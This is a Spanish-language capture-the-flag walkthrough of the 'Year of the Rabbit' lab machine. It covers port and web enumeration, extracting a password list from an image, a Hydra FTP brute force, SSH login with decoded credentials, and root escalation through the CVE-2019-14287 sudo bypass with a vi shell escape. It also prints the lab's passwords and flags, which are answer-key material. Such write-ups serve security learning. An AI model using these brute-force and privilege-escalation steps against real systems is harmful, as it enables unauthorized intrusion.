Year of the Rabbit
Fase 1 — Enumeración
Fase 1.1 — Nmap Port Scan
Comando ejecutado:
nmap -sC -sV -oN year_rabbit.nmap <TARGET_IP>
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.2 |
| 22/tcp | SSH | OpenSSH 6.7p1 Debian |
| 80/tcp | HTTP | Apache 2.4.10 Debian |
Hallazgos:
- Título HTTP: Apache2 Debian Default Page
- FTP vsftpd 3.0.2 → posible acceso anónimo
- SSH 6.7p1 → versión antigua

Fase 1.2 — Enumeración Web
Comando 1 — Gobuster puerto 80:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
Directorios descubiertos:
/assets→ Status 301/server-status→ Status 403

Comando 2 — Visita /assets:
http://<TARGET_IP>/assets
Hallazgos:
RickRolled.mp4→ distracción temáticastyle.css→ contiene pista oculta

Comando 3 — Revisión de style.css:
http://<TARGET_IP>/assets/style.css
Hallazgos:
- Comentario oculto en el CSS:
/* Nice to see someone checking the stylesheets. Take a look at the page: /sup3r_s3cr3t_fl4g.php */

Comando 4 — Visita /sup3r_s3cr3t_fl4g.php:
http://<TARGET_IP>/sup3r_s3cr3t_fl4g.php
Hallazgos:
- Alert: “Word of advice… Turn off your javascript…”
- El JS redirige a YouTube → RickRoll distracción
- Con JS desactivado muestra un vídeo sin formato soportado


Comando 5 — Interceptar redirección con curl:
# [MÁQUINA ATACANTE]
curl -v http://<TARGET_IP>/sup3r_s3cr3t_fl4g.php 2>&1 | grep -i "location\|hidden"
Hallazgos:
- Directorio oculto:
/WExYY2Cv-qU

Comando 6 — Visita directorio oculto:
http://<TARGET_IP>/WExYY2Cv-qU
Hallazgos:
Hot_Babe.png→ imagen con datos ocultos

Comando 7 — Análisis de Hot_Babe.png con strings:
# [MÁQUINA ATACANTE]
wget http://<TARGET_IP>/WExYY2Cv-qU/Hot_Babe.png
strings Hot_Babe.png | tail -20
strings Hot_Babe.png | grep -A 100 "ftpuser"
Hallazgos:
- Usuario FTP:
ftpuser - Lista de posibles contraseñas embebidas en la imagen


Fase 1.3 — Enumeración FTP
Comando 1 — Crear wordlist y fuerza bruta con Hydra:
# [MÁQUINA ATACANTE]
strings Hot_Babe.png | grep -A 100 "ftpuser" | tail -n +3 > wordlist.txt
hydra -l ftpuser -P wordlist.txt ftp://<TARGET_IP> -t 6
Credenciales FTP obtenidas:
| Campo | Valor |
|---|---|
| Usuario | ftpuser |
| Password | 5iez1wGXKfPKQ |

Comando 2 — Login FTP y descarga de archivos:
# [MÁQUINA ATACANTE]
ftp <TARGET_IP>
# Usuario: ftpuser
# Password: 5iez1wGXKfPKQ
ls -la
get Eli's_Creds.txt
exit
Hallazgos:
Eli's_Creds.txt→ archivo de credenciales codificado

Comando 3 — Leer Eli’s_Creds.txt:
# [MÁQUINA ATACANTE]
cat Eli\'s_Creds.txt
Hallazgos:
- Contenido en Brainfuck → lenguaje esotérico de programación

Comando 4 — Decodificar Brainfuck:
Decodificado en: https://www.splitbrain.org/_static/ook/
Credenciales SSH obtenidas:
| Campo | Valor |
|---|---|
| Usuario | eli |
| Password | DSpDiM1wAEwid |

Fase 2 — Foothold
Fase 2.1 — Acceso SSH como eli
Comando ejecutado:
# [MÁQUINA ATACANTE]
ssh eli@<TARGET_IP>
# Password: DSpDiM1wAEwid
Hallazgos:
- Acceso exitoso como
eli - Banner con mensaje de Root a Gwendoline: “Check our leet s3cr3t hiding place”

Fase 2.2 — Búsqueda del directorio secreto
Comando ejecutado:
# [MÁQUINA OBJETIVO]
find / -name s3cr3t 2>/dev/null
cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
Hallazgos:
- Directorio:
/usr/games/s3cr3t - Password de Gwendoline:
MniVCQVhQHUNI

Fase 2.3 — User Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
su gwendoline
# Password: MniVCQVhQHUNI
cat /home/gwendoline/user.txt
User Flag:
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

Fase 3 — Escalada de Privilegios
Fase 3.1 — Identificación del vector PrivEsc
Comando ejecutado:
# [MÁQUINA OBJETIVO]
sudo -l
Hallazgos:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt- CVE-2019-14287 → bypass de
!rootusando-u#-1

Fase 3.2 — Escalada a Root (CVE-2019-14287)
Comando ejecutado:
# [MÁQUINA OBJETIVO]
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
# Dentro de vi:
:!/bin/bash
whoami

Fase 3.3 — Root Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
cat /root/root.txt
Root Flag:
THM{8d6f163a87a1c80de27a4fd61aef03a0ecf9161}
